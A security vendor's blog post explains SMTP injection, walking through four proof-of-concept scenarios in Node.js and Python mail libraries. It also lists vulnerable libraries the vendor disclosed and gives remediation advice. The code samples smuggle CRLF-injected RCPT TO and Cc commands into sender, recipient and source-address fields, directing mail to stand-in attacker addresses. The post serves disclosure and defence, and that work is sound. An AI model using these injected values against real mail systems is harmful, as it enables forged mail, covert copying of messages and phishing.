Skip to main content

Avoiding SMTP Injection: A Whitebox primer

Written by:
Sam Sanoop
Sam Sanoop
wordpress-sync/feature-smtp-injection

September 15, 2022

0 mins read

SMTP Injection vulnerabilities are often misunderstood by developers and security professionals, and missed by static analysis products. This blog will discuss how common SMTP Injection vulnerabilities can exist in libraries and applications, and provide tips for finding and remediating them quickly.

Introduction to SMTP

Simple Mail Transfer Protocol (SMTP) is an email protocol used for sending and receiving email messages. User-level email clients typically use SMTP to send messages to a mail server for relaying. SMTP servers commonly use the Transmission Control Protocol on port number 25 (for plaintext) and 587 (for encrypted communications).

Modern software and applications often use the SMTP protocol as part of a user flow and send emails based on a user action. Registration confirmation emails, which can take a user email with some predefined welcome text and relay this email to an SMTP server to be sent to a user’s email account, are one example of this.

During an SMTP session between an SMTP client and server, multiple SMTP commands can be used by a client. Some common examples are:

  • HELO/EHLO - The HELO command initiates the SMTP session conversation, e.g. HELO snyk.io.

  • MAIL FROM - The MAIL FROM command initiates a mail transfer with a source email address, e.g. MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

  • RCPT TO - The RCPT TO command specifies the recipient to send the email to, e.g. RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

  • DATA - Using the DATA command, the client asks the server for permission to transfer the mail data. The response code 354 grants permission, and the client launches the delivery of the email contents line by line. The DATA transmission can be terminated with a . character

An example of an SMTP communication between a client and a server can be seen below.

1Server: 220 smtp.snyk.test ESMTP Postfix
2Client: HELO relay.snyk.test
3Server: 250 Hello relay.snyk.test, I am glad to meet you
4Client: MAIL FROM:<sams@snyk.test>
5S: 250 Ok
6C: RCPT TO:<jack@snyk.test>
7S: 250 Ok
8C: RCPT TO:<asaf@snyk.test>
9S: 250 Ok
10C: DATA
11S: 354 End data with <CR><LF>.<CR><LF>
12C: From: "Sam S" <sams@snyk.test>
13C: To: "Jack H" <jack@snyk.test>
14C: Cc: asaf@snyk.test
15C: Date: Tue, 15 Jan 2008 16:02:43 -0500
16C: Subject: Test message
17C:
18C: Hello Jack.
19C: This is a test.
20C: Your friend,
21C: Sam
22C: .
23S: 250 Ok: queued as 12345
24C: QUIT
25S: 221 Bye
26{The server closed the connection}

What is SMTP Injection

SMTP Injection can occur when an attacker is able to inject arbitrary SMTP commands as part of an SMTP communication taking place between a client and server. This may be through injecting additional CRLF characters that are part of user controlled parameters which may be placed as part of an SMTP command without validation or adequate sanitization.

These cases often exist in web applications that are using libraries to send SMTP commands, or have internal implementations that are not validating user controlled parameters.

The impact of SMTP Injection can vary depending on the context of an application affected by this issue. Common impacts include:

  • Sending copies of emails to a third party.

  • Modifying the content of the message being sent to the SMTP server.

  • Leveraging the application affected by SMTP injection as a proxy to conduct phishing attacks.

To better understand SMTP Injection, let’s look at the following examples.

SMTP Injection Scenario 1

Third party libraries are commonly used by developers to send emails to an SMTP server, and provide an alternative to using standard library SMTP functions. One such example of this library is smtp-client. smtp-client provides various fields to set hostname, authentication, recipient, and senders, which can then be sent as part of an SMTP message.

1var smtp = require('smtp-client');
2let s = new smtp.SMTPClient({
3  host: '127.0.0.1',
4  port: 1225
5});
6
7(async function() {
8
9  await s.connect();
10
11  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
12  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
13  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
14  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
15  await s.data('mail source'); // runs DATA command and streams email source
16  await s.quit(); // runs QUIT command
17
18})().catch(console.error);

However, consider a scenario where it's not possible to set the s.rcpt field and only the s.mail is controlled by the user. In those cases, CRLF characters can be used to insert a new command such as from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Example:

1await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Because no validation took place, the SMTP client will process CRLF characters and treat RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) as a new SMTP command. The following image shows this command being accepted by a SMTP server.

wordpress-sync/blog-smtp-debug

Along with smtp-client, Snyk also found Email MIME and Net::SMTP perl packages — which are also vulnerable to SMTP Injection through multiple fields. This security issue was reported to the appropriate library maintainers, and fixes are implemented within the latest version of these packages.

SMTP Injection Scenario 2

Low level libraries also exist within multiple language ecosystems that can be used by developers to communicate with an SMTP server. One such example of this is smtp-channel.

In the case of smtp-channel, developers might choose to create user emails with user provided input, and provide the data to smtp-channel as a stream. In those cases, an attacker can add additional headers, and use the existing SMTP session to forge an email. The following code demonstrates this issue:

1const {SMTPChannel} = require('smtp-channel');
2
3(async function() {
4    let handler = console.log;
5
6    let smtp = new SMTPChannel({
7      host: 'localhost',
8      port: 1225
9    });
10
11    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
12    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
13    await smtp.connect({handler, timeout: 3000});
14    await smtp.write(userstream, {handler});
15    await smtp.write('QUIT\r\n', {handler});
16
17  })().catch(console.error);

SMTP Injection Scenario 3

Mail Builder libraries used in conjunction with SMTP clients can also be affected by SMTP Injection. An example of this issue can be seen within the email Python package. The email package is a library for managing email messages. In this case, SMTP Injection is possible by providing CRLF characters to the mail.headerregistry.Address field.

1import smtplib
2
3from email.message import EmailMessage
4from email.headerregistry import Address
5from email.utils import make_msgid
6
7# Create the base text message.
8msg = EmailMessage()
9msg['Subject'] = "Example Subject"
10msg['From'] = Address("Sam", "Sanoop", "snyk.test")
11msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
12msg.set_content("""\
13Salut!
14
15Test Email 
16--Sam
17""")
18
19# Send the message via SMTP server.
20with smtplib.SMTP("127.0.0.1", 1225) as s:
21    s.login("testuser", "testpass")
22    s.set_debuglevel(2)
23    s.send_message(msg)

The following image shows the existing RCPT command being closed with the > character and a new cC header being injected with \r\n. This will be sent as a new RCPT command, as seen below.

wordpress-sync/blog-smtp-example-subject

It should be noted that this vulnerability has been remediated by the Python security team in the 3.X releases — click here to review the full release notes. However, 2.X versions are still vulnerable.

SMTP Injection Scenario 4

While probing for SMTP Injection vulnerabilities, it is worth noting that other fields such as hostname and source address can also allow CRLF characters — and therefore allow SMTP Injection.

In the following example, the From and To fields provided to aiosmtplib are sanitized. However, it’s still possible to inject into the source_address and insert an arbitrary SMTP command. The Proof Of Concept (PoC) to demonstrate this can be seen below:

1import asyncio
2from email.message import EmailMessage
3
4from aiosmtplib import SMTP
5
6async def say_hello():
7    message = EmailMessage()
8    message["From"] = "root@localhost"
9    message["To"] = "somebody@example.com"
10   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
11    message.set_content("Sent via aiosmtplib")
12
13    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
14    async with smtp_client:
15        await smtp_client.send_message(message)
16
17event_loop = asyncio.get_event_loop()
18event_loop.run_until_complete(say_hello())

This creates the following SMTP communication.

wordpress-sync/blog-smtp-communication

Other cases to consider

In certain situations, mail libraries can also allow for code execution vectors. One such example of this is the mail() function.If user input flows into the 5th parameter of the mail() function, this can be leveraged by an attacker for code execution — click here to review an example of this issue.

SMTP Injection vulnerabilities are often confused with Mail Injection vulnerabilities. In a Mail Injection vulnerability, an attacker could abuse an email messaging feature by using an SMTP function to send arbitrary emails and conduct phishing attacks. Whereas, with an SMTP Injection, CRLF characters are used to inject arbitrary headers, which can then be used to forge emails and conduct phishing attacks.

Preventing SMTP Injection

SMTP Injection is a vulnerability often overlooked by developers and open source library maintainers. In most cases, these issues should be remediated by library maintainers, and many well known libraries — such as JavaMail, PHPMailer and RubyMail — already prevent SMTP Injection by sanitizing CRLF characters. For low level libraries such as smtp-channel, the developer utilizing this library is responsible for validating and sanitizing user input.

In order to help make the open source community more secure, Snyk Security team also disclosed SMTP Injection vulnerabilities in the following libraries.

Library

Language

Fixed Version

SMTPMail-drogon

C

Fixed in Master

Email::MIME

Perl

No Fix Available

Net::SMTP

Perl

No Fix Available

aiosmtplib

Python

Fixed in 1.1.7

smtpclient

NodeJS

No fix available